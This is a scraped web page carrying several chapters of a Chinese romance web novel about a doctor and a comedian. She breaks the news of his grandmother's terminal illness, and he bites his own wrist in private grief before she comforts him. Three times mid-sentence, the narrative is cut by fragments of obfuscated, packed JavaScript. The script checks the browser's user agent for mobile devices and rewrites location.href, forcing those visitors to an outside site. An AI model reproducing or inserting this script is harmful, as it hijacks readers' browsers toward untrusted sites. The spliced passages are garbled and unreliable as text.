可这份体面,在某一天被路璇彻底打破。 那天,路璇破天荒地找到他,告诉他,祁清远会替他去参加家长会。 那一刻,祁慕是真的开心。 毕竟祁清远从来没有给祁慕参加过一次家长会,他以为他的爸爸终于变了。 路璇让他一早就在校门口等。 他信了。 清晨七点,天空飘着细密的冷雨。 祁慕撑着一把旧伞,孤零零地站在校门口。 他看着身边渐渐热闹起来,同学们挽着父母的手,或欢声笑语,或一脸不情愿地被拖着走。无论怎样,他们的身边,总站着属于他们的家长。 他一次次踮脚张望,在每一个相似的身影上寻找,又一次次在失望里低下头。 祁清远始终没有出现。 九点,雨势陡然变大,地势低的地方,已经有了积水。而此时家长会也正式开始了,祁慕站在保安室的屋檐下,能听到最靠近保安室的教学楼内,传来每个班老师的声音,还有播放的一些教育视频。 保安大叔探出头,看着浑身发颤、几乎被溅湿半身的少年,忍不住问:“孩子,你家长呢?” 是啊。 他家长呢? 祁慕抬起头,看着天上哗哗下着的大雨,屋檐下的雨珠串成线,不停地往下掉。他低头,看着自己原本灰色的校服裤子,此时已经变得深黑。 他自嘲的笑了笑。 ——他好像,没有家长。 再后来,他鼓起勇气去问祁清远。 那个男人只是皱着眉,不耐烦地解释:“子航那边没人去,我当然要去他那儿。” 多么理所当然。 而这一切的导演,就是路璇。 她用了最拿手的好戏—— 苦肉计。 在祁清远面前哭诉祁子航多么可怜,从小被人嘲笑“没爸爸”,多么需要父亲的撑腰。 她知道祁清远吃这套。 在这场精心策划的“阖家团圆”里,他祁慕,不过是个被随意利用、用完即弃的工具人。他的等待,他的期待,他的狼狈,都只是用来衬托他们“一家三口”情深意切的背景板。 路璇看着祁慕离开的背影,脸上精心堆砌的假笑瞬间垮塌,露出底下最真实的,淬毒的怨恨:“小贱种。” 她当然恨他。 恨他的存在,恨他身上有他母亲的影子,恨他如今的光芒万丈,更恨他比她的儿子优秀这个事实。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286445|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 祁慕沉着脸回到化妆室,坐下,心情也随着路璇的到来变得郁闷。 陶逸兴也察觉了不对劲,问着:“怎么了?” “没事。” 话音落下。 “叮——” 祁慕的手机屏幕在手心亮了。 他把手机翻过来,看见是条微信消息,划开屏幕—— 昭昭:【祁老师,只能委屈您儿子今晚看家一天咯。】 昭昭:【照片】 看到信息的那一刻,祁慕脸上的冰霜瞬间化了大半。 他指尖点了点屏幕,加载的小圆圈转了两秒,一张照片跳了出来。 是温昭和芝麻的合照。 照片里芝麻躺在沙发上趴着,温昭在旁边歪着头,对着镜头比耶。她穿着一件淡蓝色上衣,笑得温柔,卧蚕跟着眼角弯起,眼睛亮亮的。 祁慕盯着照片看了两秒,嘴角不停地上扬,在屏幕上敲着:【果然。】 温昭很快回复:【什么?】 祁慕:【和他爹一样惨。】 昭昭:【惨?我好吃好喝伺候着,还陪它玩,哪惨了?】 祁慕对着屏幕,笑意更浓,指尖敲得更快了:【嗯,那倒是比他爹好点,起码有人陪。】 温昭那边顿了几秒,才回过来:【那你努力给你儿子赚猫粮钱,等你回来了,我和你儿子一起陪你?】 祁慕怔了一秒,视线落在“陪你”两个字上。 化妆间亮黄的灯光落在他深邃的眉眼处,方才的阴郁随着这两个字,慢慢消散无踪。 他盯着屏幕看了好一会儿,才缓缓抬手,一个字一个字地敲: 【好。】 【等我。】 发完又点开照片长按保存。屏幕上的温昭笑得实在好看,他忍不住用拇指蹭了蹭那张笑脸。 全程围观的陶逸兴看着祁慕的变化,不忍感叹:这哪是交了一个女朋友,分明是让人给下了蛊吧。 他摇了摇头,走出了化妆间。 - 周一,温昭早早就来到了医院。 今天刘婧的所有检查报告都出来了,她连衣服都没换,直接来到了办公室。 前夜,谷知轩值班的时候就已经把一部分报告整理好放在桌上,剩下的在电脑里存着。 温昭坐下,一张张纸翻过去,鼠标滚轮也哒哒地响。越看,眉头皱得越紧,手指抵在唇部,指尖嵌入指节处。 虽说刘婧的病情没有那么快加速恶化,但对比之前,已经有了明显的差距。而这些事情,她也只能等到祁慕工作回来,再慢慢告诉他。 她深吸一口气,她推开113病房的门,脸上瞬间挂起那副最能让病人都放下心的笑容:“外婆,今天怎么样?” 刘婧靠在枕头上,脸色有点灰败,扯出个笑:“害,还能咋样。我这把老骨头,自己心里有数。” 陈琳:“温医生,这检查结果……咋说啊?” 温昭舌尖舔过有点发干的下唇,她顿了那么一两秒,才开口:“情况…是比之前差一点,”她特意放缓了语速,“不过,咱们积极治疗,放平心态,也能缓缓。” 陈琳一听这话,眉头立刻拧成了疙瘩,重重叹出口气,肩膀也跟着塌了下去。 刘婧枯瘦的手在空中摆了摆:“没事儿,我这病啊我有数,”她望向窗外,又慢慢转回来,落在温昭身上,“我就盼着阿慕那小子好好的,平平安安,顺顺当当,比什么都强。旁的……没什么放不下的了。” 温昭看着老人那近乎通透的平静,心里酸酸胀胀。 她没再说话,只是对着刘婧浅淡一笑。 43. 第43章 这几天星海的雨都没怎么停歇过,天一直都是灰蒙蒙的,闷得让人喘不上气。 祁慕除了每天早晚安,也没再多发什么。 温昭知道他忙,刷微博的时候,偶尔也能看到热搜上粉丝发的一些路透视频。每次收工的时间,几乎都是凌晨两三点。 她也就把手机摁灭,没再去扰他。 这天。 她蹲在自家的落地窗前,动作缓慢地给芝麻换着猫砂,眼神游空。 她看了眼手机,已经六月五号了。 再过两天就是端午节,不出意外,明天祁慕也该回来了。 也就意味着。 外婆病情的事情,要告诉他了。 可至于怎么开口,怎么把那些话不那么刺人、直白地说给祁慕听。 她也还在琢磨。 第二天。 温昭收拾完下班,走到地下车库,一股雨水的潮湿味混着汽油味向她扑过来。 地面湿漉漉的,反着幽暗的光。 她低着头,手指点和祁慕的聊天框,里面的内容止步于今早的“早安”,便再也没有了。 她点开输入框,指尖悬着,犹豫几秒,还是打下。 【“什么时候回来?”】 她轻轻按了发送。 几乎就在同一秒—— “叮咚!” 一声清脆的消息提示音,突兀地在寂静空旷的车库里响起。 温昭脚步一顿,心头一跳,抬起头。 不远处,她那辆黑色的车旁,站着一个人。 祁慕戴着口罩,穿着一件黑色短袖,下摆随意塞进白色的阔腿裤里。昏暗的光线模糊了他的轮廓,却也让温昭一眼就认清了。 他正看着她,见她望过来,抬起头朝她挥了挥。 温昭嘴角不由自主扬起一个微笑,想都没想,就朝着他跑去。 祁慕张开了双臂,稳稳接住了扑进怀里的人。 熟悉的气息瞬间将她包裹,温暖、踏实。温昭的脸颊贴着他T恤上微凉的字母面料,很快,底下温热的体温就透了过来。 她忍不住又蹭了蹭。 他身上那股清新、干净的木质调香水味,也丝丝缕缕地钻进鼻腔。 “什么时候回来的?” “中午刚下的飞机。” “那怎么都没告诉我?”温昭仰起脸,疑惑地看着他。 祁慕低下头,捧着她的脸颊,轻轻摩挲,口罩上方露出的眼睛弯了弯。 “这不是,想给你一个惊喜。”他又问,“想不想我?” 温昭没说话,只是把脸更深地埋回他怀里,用力点了点头:“嗯……想。” 祁慕显然对这个答案满意至极。 他低笑着,温柔地摸了摸她的发顶:“走,我们回家。” “……好。” 她这才从他怀里退出来一点。 祁慕笑着伸手:“把车钥匙给我,我来开。” “你累了好几天了,我来开吧。” “没关系,飞机上、来的路上都休息过了,不累,”他捏了捏她的手心,“听话。” 温昭犹豫了一下,还是从包里摸出了车钥匙。 祁慕不由分说地地夺过,利落地拉开车门,率先坐进了驾驶座。 温昭怔了一秒,绕到副驾,关上车门。 扭头,本想着去扣安全带,却不料,措不及防地跌进祁慕那双深不见底的眼眸里。 他不知什么时候摘下了口罩。 车内光线昏暗,他靠得很近,灼热的呼吸一下又一下喷洒在温昭的人中。 “干、干嘛?”温昭下意识屏住呼吸,颤巍巍地发问,手攥紧了座椅边缘。 “你是不是忘了什么?” “什、什么?” 根本不等温昭反应,一个温热的吻已经轻轻贴了上来。 如蜻蜓点水般,一触,即离。 她心跳漏了一拍,睫毛簌簌地发颤,无辜又无措地看着他。 “现在,想起来了吗?”他问。 温昭记忆不合时宜的回到那天打视频的时候。 从听筒处传来的声音清冽、撩人,还带着些电流的声音,此刻正在她耳畔回响—— “亲我一下。” 视频中的这张脸在此时具象化,变得清晰、轮廓分明。 温昭红着脸,点了点头。 他又慢慢倾身过来,侧着头,高挺的鼻尖擦着她的鼻尖。 唇瓣即将接触的瞬间。 温昭猛地抬起手,双手抵在他结实的臂膀:“你说过的,就一下……” 祁慕嘴角轻扬,勾魂摄魄的眼睛里,是毫不掩饰的欲念。 “温医生,钱放银行还有利息呢,我这个……应该也有吧?” 温昭深吸一口气,刚想反驳:“你……” 祁慕却再不给猎物任何逃脱的机会。 带着点霸道,再次贴上了她的唇瓣。 “唔——” 温昭倏地睁大了双眼,手指下意识攥紧了他肩膀处的黑色短袖,柔软的棉质被她攥出层层叠叠、凌乱不堪的褶皱。 属于他的气息,带着强烈的荷尔蒙和思念,瞬间将她彻底淹没。 他吻的温柔,如柳条拂过水面,在她紧绷的唇上极尽温柔地描摹、流连,带着克制。 温昭渐渐放松了下来,手指松了些,只是虚虚地、徒劳地搭着。 然而,这份温柔的假象只维持了呼吸之间。 祁慕像是确认了她的默许。 温柔的风骤然收束,聚成狂暴的飓风。 他原本捧着她脸颊的手,不知何时滑到了她的颈后,一下下,缓慢而磨人地摩挲着她细腻的肌肤,激起一阵细密难耐的酥麻。 温昭彻底沉沦,眼睫无力地低垂着,脚趾蜷起,抓着鞋底。 外婆的病情、即将到来的艰难坦白,都被这汹涌而至的吻暂时冲垮、淹没。 在迷蒙中,她只能凭着本能,青涩又笨拙地、小心翼翼地,开始尝试着回应。 这微小的回应,如同投入燎原烈火的一点星火,非但未能平息,反而瞬间点燃了他更深沉、更狂野的掠夺。 安静的车内,只剩下两人交缠的呼吸,还有外面越来越密的雨声敲打着地面,传入空旷的停车场内,响起微微的回声。 - 一路上,温昭都偏着头看窗外,故意不搭理他。 她对着手机一看。 嘴唇泛着红,嘴角边因为祁慕不小心咬到,还泛着肿。 她怨怼的看了眼站在一边的罪魁祸首。 祁慕察觉到她的目光,转过身,安抚地揉了揉她的头发:“好啦,我错了,好不好。” 温昭没说话,只用那双水盈盈的眼眸,又狠狠瞪了他一眼。 “还疼不疼?”祁慕小心翼翼地碰了碰她微肿的唇角。 “你说呢!” “我错了……”他顺势把人往自己这边带了带,手臂环过她肩膀,把人半圈进怀里,“下次轻点儿……” 温昭挣开怀抱:“你还下次!” 电梯停在一楼。 “好啦!别生气了,走吧。”祁慕牵着她走进去。 电梯内,温昭微微侧头,目光落在祁慕脸上。 他嘴角还噙着一点压不下去的笑意,因为她,他心情好得不得了。 现在说外婆的事情,可能是最好的机会。 祁慕牵着她走到家门口,很自然地松开手:“好了,快进去吧,我走了。” 他刚转过身,就被温昭抓住了手:“等等。” 祁慕顿住,转回身,看着她抓住自己的手,笑着:“嗯?怎么了?”他俯身凑近了些,“舍不得我走啊?” “……” 温昭丝毫没有因为这个玩笑而打动。 她犹豫着,看着祁慕缓缓开口:“我有事跟你讲。” “什么?”祁慕看着她不同寻常的神色,脸上的笑意也收敛了几分。 “……你跟我来。” 祁慕虽然不知道什么事情,但看着温昭严肃的神情,心里总觉得很忐忑。 ——难不成,真生气了? ——还是…… “好。”他应道。 祁慕在沙发上坐下,温昭默默从屋里拿出几张纸,递到他面前。那纸页,已经被她翻过无数次,边缘明显皱起。 “这是什么?”他心头莫名一紧,缓缓接过来。 温昭沉默着,挨着他坐下。 祁慕的视线从她身上慢慢移到手中的纸上。 视线扫过最顶端那行字时,他嘴角那点残余的笑意,瞬间冻住了—— 姓名:刘婧 检查项目:CT增强【盆腔,上腹部】 他转头看向温昭:“这是……” 温昭看了他一眼,闪躲视线:“外婆…前段时间的检查报告。”她顿了顿,“我那天去查房,意外看到外婆在那边呕,然后就做了一个全面的检查,前段时间刚出结果…” 她越说越哽咽,眼哐慢慢湿润:“情况……比之前……差了些……” 这几个字,生硬到无论温昭怎么美化,念出来都一样如根刺,让人心梗。 祁慕骤然停跳了一拍。 捏着报告的手指开始不受控制地发颤,他无意识地、近乎慌乱地翻动着那几张薄薄的纸,纸页哗啦作响。 “……严重吗?” 温昭用力吸了吸鼻子,强忍着翻涌的情绪,尽量用最平稳的、属于医生的专业语气说。 “外婆……刚来的时候,就已经是晚期了。我们能做的,是尽量延缓,控制症状,提高生活质量……”她顿了顿,“只不过……治不了本……” 她鼓起勇气侧头看他。 只一眼,温昭的眼泪就夺眶而出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286446|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁慕低垂着头,紧咬着牙关,下颌线绷得很紧。浓密的睫毛下,大颗大颗的泪珠完全不受控制地滚落,砸在他死死攥着报告的手背上,又溅落在冰冷的纸页上,迅速晕开深色的湿痕。 他的手抖得厉害,那几张纸不停作响。 温昭看着心疼,再也忍不住,伸手过去,用自己的双手紧紧包裹住他那只冰凉又颤抖的手,想给他一点微不足道的支撑和暖意。 “祁慕…”她声音也发虚,“对不起……我……” 祁慕缓缓抬起头,看她。 他眸中倒影着的,是和他一样,一双红得不像样的眼睛。 他心里清楚,难受的不止他一个。 换作以前,或是对着别人,他早就发火了。 但对着她,半点火气都生不起来。 他知道,她和自己一样不好受。 她把外婆照顾得那么上心,她也不想看到这个结果。 她有什么错呢? 如果硬要说错,错的人,也只有一个。 那就是……他自己。 随之,汹涌而来的,是铺天盖地的、几乎将他溺毙的自责。 如果……他多去看看外婆,是不是就不会有这些事? 如果……如果他再能细心一点? 如果能再早一点…… 是不是……一切都会不一样? 他捧起她的脸,看着她,强硬地扯起一个微笑,抬手抹去温昭脸上温热的泪痕。 “你有什么好对不起的。”他舔了舔唇,咸涩的泪水充斥着舌尖,“当初把外婆交到你手里,你不就清清楚楚地告诉过我吗?你能做的,就是让外婆好受点,少受点罪……” 他顿了顿,深吸一口气,才能把后面的话完整说出来:“你做到了,昭昭。而且,做得比谁都好。要不是你……外婆现在哪还能笑着跟我聊天?哪还能……看起来那么精神?” 他捧着温昭的脸:“昭昭,不要自责,也不要说对不起。反之,我还要谢谢你……谢谢你……把她照顾好。” 他思绪不合时宜的回闪。 想起前段时间温昭那些欲言又止、心事重重的样子,又问:“所以……你之前是因为这件事情,所以才闷闷的?” 温昭的泪水又涌了上来。 她冰凉的手指覆上他捧着自己脸颊的手,带着安抚:“我不知道该怎么跟你说……我知道你知道了…一定会很难受…特别难受……可是…祁慕,我没办法,我不能瞒着你…你早晚都要知道的……” 看着她,小心翼翼照顾着自己每一分感受的样子。 祁慕心里的自责又多了几分,酸胀的怜惜和尖锐的心疼,再加上外婆病情的痛楚。 这一切的一切,几乎让他窒息。 “昭昭,我没事……我……” 他想再抱抱她,想再安慰她几句,告诉她,他没事,他可以承受。 可是不行。 外婆病情的事情,温昭强忍悲伤的脆弱,像两股巨浪,一次又一次冲垮了他强撑起来的堤坝。原本坚强的弦,已经绷到了极限。 他憋着气,狼狈地松开手,站起身,背对着她:“我…先去打个电话。” “祁慕!”温昭心慌地跟着站起来。 “我没事,”他脚步顿住,没回头,“……我先走了。” 说完,他便走了,走得很快。 “砰——” 门被他用力带上,隔绝了两个“世界”。 一走到门外,他的腿脚就软了下来。 他靠在冰冷的瓷砖上,浑身像被抽干了所有力气,高大的身躯顺着墙壁滑落,重重地靠坐在楼道冰冷的地砖上。 终于…… 只剩下他一个人了。 那些死死憋着的剧痛、绝望、自责、恐惧……再也无法压抑。 他死死咬着牙关,额角青筋暴起,却没发出一点声音。 他怕被里面的人听见。 肩膀止不住地剧烈颤抖,眼泪汹涌地淌过脸颊。所有的呜咽和哭喊,都被他死死锁在喉咙里,变成无声的、撕心裂肺的抽泣。 楼道的窗户没关,风裹着雨飘进来,一点点洒在他身上,湿了又干,干了又湿。 他哭得几乎喘不来气。 在即将失控的刹那,狠狠咬住了自己的手腕。 泪水混着血丝,腥涩的蔓延至口中。 雨点噼里啪啦砸在玻璃窗上,声响越来越大。 也许是这震耳欲聋的雨声给了他一丝虚假的安全感,也许是紧绷的神经终于到了极限。 蜷缩在角落里的祁慕,那死死咬紧的牙关和绷紧的身体,终于泄了一丝力气。 一声压抑到极致、破碎不堪的呜咽,终于控制不住地从他颤抖的唇缝里溢了出来。 可这点微弱的声音,还没来得及在空气里散开,就瞬间被窗外那铺天盖地的、狂暴的雨幕揉碎、吞噬。 44. 第44章 温昭坐在家门口,她知道祁慕在门外,也知道他现在心里肯定特别难受。 她没去打扰。 就让他哭吧,让他把那些痛、绝望……统统宣泄出来。 她只需要在这里,安静地守着,等着他。 窗外的雨声渐渐小了。 门缝外,那断断续续的呜咽抽泣,也终于慢慢低下去,归于一种令人窒息的死寂。 温昭缓缓吸了口气,撑着门站起来。她抬手用力抹掉脸上冰凉的泪痕,又深深呼出一口气。指尖搭在门把手上,停顿了好几秒,轻轻一拧,慢慢拉开了门。 她脚步放得很轻,视线向右一偏。 心,瞬间被狠狠揪紧。 祁慕瘫坐在冰冷的地砖上,背靠着墙,被榨干了所有生机。脸上没什么表情,只有微微湿透的衣料贴在身上,勾勒出颓败的轮廓。 可下一秒。 温昭的目光就被他那双垂落在身侧的手腕死死锁住。 冷白的手腕上,几道凹陷的齿痕,格外明显。暗红的血渍凝固在伤口边缘,格外狰狞。 温昭的心疼充满了胸腔。 她走到他面前,蹲下身,双手带着微微的颤抖,小心翼翼地捧起他滚烫的脸颊。 祁慕的眼睫颤了颤,极其缓慢地抬起了眼皮,看她。 那双眼睛布满了红血丝,还带着残留的湿润,鼻尖、嘴都泛着红。 她再也忍不住,张开双臂,用力将这个失魂落魄的人紧紧拥进怀里。泪水也因为他手上的那道齿痕,再次滑落在他肩上。 “阿慕……” 祁慕滞了一瞬。 随即,收紧手臂,反手死死地回抱住她,整张脸深深地埋进她温热的颈窝里。 这是冰冷的雨夜里,他唯一能感受到的暖和生机。 “不要这样……” 温昭哽咽着,泣不成声。 她稍稍松开怀抱,双手依旧捧着他的脸。看着他眼中再次氤氲起的水光,她闭上眼,带着心疼和安抚,轻轻地、温柔地吻上了他滚烫的唇。 她颤抖地停留一瞬。 而后离开,轻轻抵上他滚烫的额头。鼻尖相抵,呼吸交融。 “阿慕……” “我们……一起陪着外婆。” “陪着她,走完剩下的路。” “让她……不疼,让她……开开心心的,好不好?” 祁慕怔怔地看着近在咫尺的这双眼睛,那里面的心疼、坚定和温柔,像一束微弱却执拗的光,穿透了他心中厚重的阴霾。 他喉结剧烈地滚动了一下。 最终,只是更用力地抱紧了她,重重地、带着泣音地回复: “……好。” …… 屋内。 温昭低着头,用沾着碘伏的棉签,轻轻擦拭着祁慕手腕上那道齿痕。她的眼眶却不受控制地又红了一圈,水汽迅速积聚,模糊了视线。 她有些后悔。 要是刚才,她直接推门出去抱住他就好了。 他是不是就不用一个人扛着,把自己逼到用这种方式发泄? 祁慕一直静静地看着她。 看她微颤的睫毛,看她紧抿的唇,看她大颗的泪珠悬在睫毛上要掉不掉的样子。 他心里又扎了一下,抬起没受伤的那只手,摩挲着她的脸:“昭昭,真的不疼。” 温昭吸了吸鼻子,抬眼看他,又低下头:“……骗人。” “真的!”祁慕安抚着摸了摸她的头发,“没骗你。”他甚至还故意扯了个笑容给她看。 温昭没再反驳,只是动作更加轻柔。她对着涂好药水的伤口,轻轻吹了吹。 这才抬起眼,红着眼睛,认真地看着他:“你以后不要再这样了……” 祁慕最看不得她哭。 那双温柔的眼睛一红,他就觉得全世界都欠了她。 他点头:“好!我答应你,下次不会了!” 看着她脸上未干的泪痕,他心里后悔占据了所有。 早知道会让她哭成这样,刚才就是憋死自己也得忍住! 他再也不想看她因为他掉一滴眼泪。 祁慕伸出双臂,再一次将她拥进怀里,一遍又一遍地顺着她单薄的脊背缓缓摩挲。 以前,他总觉得这世界待他有些刻薄。 可这一刻,抱着怀里温软的人。 他突然觉得,老天还是公平的,甚至对他还挺好。 至少……把最好的一个,留给了他。 “祁慕……” “嗯?” “明天,我们一起去见外婆吧?” “好,都听你的。” - 次日,温昭换了身衣服,简单收拾了一下,便出门了。 单元楼内,电梯打开的那一瞬。 温昭脚步还没迈出去,就看到了祁慕站在玻璃门前。 他穿着一身黑白的条纹格子上衣,一只腿曲着,低着头,刷着手机。 她抿唇一笑,走过去,踮起脚尖,在他宽阔的后肩上不轻不重地拍了一下。 祁慕转过身,视线在她身上从头到脚扫了一圈,嘴角忍不住扬了起来。 “怎么样?” “好看!” “真的吗?我这个妆会不会画得太浓了点?还有我这个衣服……” “不会——”祁慕被她样子逗乐了,低笑着搂过她的肩膀。 “你说外婆会不会喜欢我?” “会!” “真的吗?” “嗯!”祁慕又说,“毕竟……我喜欢的,外婆肯定更喜欢!” 温昭微微一笑,放松了点。 祁慕撑开手里的伞,牵着她出去,走进雨幕。 又看了眼一侧的温昭。 ——能不喜欢嘛! ——毕竟她老人家可早就想把你拐来当孙媳妇! - 温昭特意挑了中午这个点来医院。这会儿人最少,大多数都去吃饭或者午休了,只有护士站那儿还有几个护士在值班。 不过护士站离刘婧的病房有很长一段距离。 所以,也不会有人注意到他们。 祁慕一直牵着她的手。 那小手,冰冰凉,还冒着点冷汗。 走到病房门口,他脚步一顿,侧过头:“这么紧张啊?” “嗯……有点……” “放心,”祁慕捏了捏她的手心,眼神稳稳地看着她,“我在。” 温昭深吸一口气,点点头,被他牵着,推开了病房门。 这病房,她每天查房都要走上好几遍,熟得闭着眼都能摸到床。 可今天不一样,短短几步路,就紧张得要命。脚步又软又飘,总觉得这路怎么突然变得这么长。 陈琳正从洗手间出来,一眼瞧见两人,惊讶地出声:“诶,阿慕和温医生来啦!” 病床上的刘婧也闻声,微微直起身子看过来。 她的目光落在两人脸上,随即顺着往下滑,精准地定格在他们紧紧交握的手上。 眼睛里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286447|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪过一丝惊讶,嘴唇动了动,却没出声。 旁边的陈琳也看呆了。 祁慕又牵着温昭往前走了两步,站在刘婧的正对面。 “外婆,给你介绍一下,”他侧过身,笑着看向温昭,“这是我的女朋友,温昭。” 刘婧看了看自己的外孙,又看看温婉秀气的温昭,目光在两人身上来回看了好几遍,嘴巴微张着,难以置信。 陈琳也呆了,确认着:“阿慕,你说…温医生,是你女朋友?” 温昭被两人这反应弄得更加忐忑,手指微微蜷缩了一下,反倒被祁慕更紧地握住。 “嗯!”祁慕应得坚定。 刘婧的目光最终定在温昭脸上,问着:“昭昭啊!”她指着祁慕,“你跟外婆说实话,是不是这小子给你塞钱了?故意哄我开心,骗我的吧?” 温昭一愣,接着被逗笑了,紧张感散了大半。 她下意识地看向祁慕,祁慕也正含笑望着她。 她的心定了定,松开祁慕的手,走到刘婧床边坐下。 “外婆,没骗你。”她微微侧头,看了眼站在一边的祁慕,又转回头对刘婧莞尔一笑,“是…真的。 她又说:“我们……在一起了。” 刘婧这才彻底信了。 激动地一拍手,又握住温昭的手:“哎呀!太好了!太好了啊!”她高兴得直拍温昭的手背,又嗔怪地指着祁慕,“你这小子,谈了这么好的一个女朋友,怎么现在才告诉我!” 祁慕也笑着凑近,很自然地站到温昭身后,一只手亲昵地搭在她肩上。 “这不是前段时间太忙,没工夫跟您说嘛!” 刘婧这会儿哪还顾得上搭理孙子,满心满眼都是温昭。 她拉着温昭的手,左看右看,真是越看越喜欢。这孩子,懂事又温柔,心地好,模样更是没得挑,怎么看怎么顺眼,简直是哪哪儿都合心意! 这会儿在她心里,总觉得自己孙子差了点。 - 傍晚,雨停了。 祁慕和温昭又陪着刘婧说了好一会儿话,才离开了。 刘婧靠在病床上,望着门口的方向,长长地、舒坦地呼出一口气,整个人都松泛下来。 陈琳在一边说着:“这下啊,您可以放心咯!” 刘婧布满皱纹的脸上绽开一个真心实意的笑容,连连点头:“是啊……真没想到,竟然是昭昭!你说他们俩…怎么在一块了……” 她感慨道,“这小丫头啊,之前照顾我的时候,我就觉得她好。那时候我就偷偷想,这么好的姑娘要是能做我外孙媳妇儿,那该多好!”老太太说着,自己都忍不住笑起来,“没想到啊没想到,还真就成了!” 笑着笑着,刘婧眼底的笑意渐渐沉淀下来,染上了一层忧虑—— 只盼着祁慕那小子,能好好珍惜昭昭这姑娘。 这么好的姑娘,可别弄丢了。 陈琳又说着:“是啊,我看咱们阿慕可喜欢温医生了。” 刘婧也笑着点了点头,慢慢放下来心里的忧虑。 …… 车内。 温昭问道:“祁慕,晚饭吃什么?” “嗯……”祁慕思考了几秒,说道,“面。” “面?什么面?” “你上次给我做的面。” “行吧,”她又说,“那这次你可不能白吃,得给我帮忙!” “好——”祁慕揉了揉她的发顶,宠溺地回复着,“我给你打工,好不好。” “嗯!” 45. 第45章 厨房内,祁慕从墙上取下那条围裙,抖开,自然地环过温昭的腰,将带子在她身后系了个结。 他顺势从背后拥住她,下巴轻轻搁在她颈窝,侧过头:“温医生,我干嘛?” “嗯——”她也侧头看他,“那就麻烦祁老师,帮我摘菜吧!” “好。”祁慕笑着松开手,转身去拿菜。 小小的厨房里,充满了烟火气。窗外的天色,就在这细碎的忙碌里悄悄暗下来,暮色一点点晕染开,路灯也一盏盏亮了起来。 祁慕转头看向正在煎蛋的温昭,心里忽然有了种异样的感觉。 这大概是他二十多年来,头一次真切感受到“生活”这两个字的分量。 不再是冷冰冰的外卖盒,也不是匆匆扒几口的节目盒饭,而是像现在这样,两个人在厨房里忙活的样子。 ……他好像从来没有奢想过。 而现在,这些却切切实实地发生了。 “祁慕,”她指了指角落的猫碗,“你去给芝麻放点猫粮。” “好——” …… 吃完饭,两人坐在沙发上。温昭舒舒服服地靠在祁慕身上。祁慕一手揽着她,另一只手正拿着颗杨梅递到她嘴边。 “昭昭,我……打算暂时把工作停一停。” 温昭动作一顿,直起身,看他:“是因为外婆吗?” “嗯。”他点点头,又说,“现在对我来说,没有什么比外婆更重要了。从小到大,真正把我放心上疼的亲人,除了我妈,就只有外婆了。现在她病了,而且……也没多久了。我想陪着她。” 他接着说:“所以,除了几个实在推不掉的商务,其他的工作,我都打算先放一放。” 温昭静静地听着,伸出手,轻轻覆上他放在自己手臂上的手背:“好。” 话还没落,门外就响起了一阵敲门声。 “咚咚咚——” 毫无预兆地砸碎了室内的宁静。 祁慕松开温昭的手,放下水果盘,站起身:“我去开。” “好。” 温昭有些纳闷—— 这么晚了,谁啊…… 林晚? 还是快递? 祁慕走到门口,看看打开了门。 门外的感应灯光顿时亮起,门外人的面孔顿时清晰。 与此同时,祁慕也瞬间愣住了。 王舒月拉着行李箱,站在他面前,显然也愣了一大跳。 她抬头,仔仔细细、几乎是有点茫然地又确认了一遍门牌号—— 1202 没走错啊! 她低下头看着面前这个身材高挑,面容清俊的人,她之前来的时候见过一次。 不过,他不是隔壁的吗? 怎么在这儿? “阿、阿姨……”祁慕吞吞吐吐地开口,指尖不自觉攥紧了衣服。 温昭在客厅等了几秒,见门外没什么动静,也疑惑地起身,走了过来。 “谁啊?” 也在此刻。 王舒月听到熟悉的声音顿时瞳孔放大,看了看里面,又看向祁慕。 几乎同时,温昭的脚步在拐角处倏然刹住。 视线越过祁慕僵直的背影,定在了门外那个拉着行李箱的女人身上。 “……妈。” 她看着自己亲妈那张写满问号的脸,嘴角肌肉僵硬地往上扯了扯,挤出一个比哭还难看的、尴尬无比的笑容。 - 王舒月坐在沙发上,看着温昭。 温昭视线躲闪着:“妈……你怎么来了?不是前几天说,要跟王阿姨出去玩吗?” “王阿姨家里突然有事,没去成。”王舒月的声音平平的,神情严肃。 “哦……” “倒是你,谈恋爱也瞒着我是吧?” “……”温昭低头笑了一下。 祁慕端着一杯刚倒好的温水,放到茶几上:“阿姨,喝水。” 说完他退后两步,在旁边的单人小沙发上坐下,坐得特别拘谨,脊背挺得笔直,双手放在膝盖上。 “阿姨,正式跟您自我介绍一下。我叫祁慕,是……温昭的男朋友。” ——祁慕…… 王舒月细想着这个名字,总觉得有些耳熟,在哪儿听过。她锐利的目光再次投向温昭,试图从女儿躲闪的神情里寻找答案。 温昭眼神再次心虚地躲闪着。 ——就是您之前说缺德演员。 她打量着祁慕,谁说过来着。 在看到电视的那一刻,记忆瞬间回笼。 ——他就是许汀州口中的那个脱口秀演员。 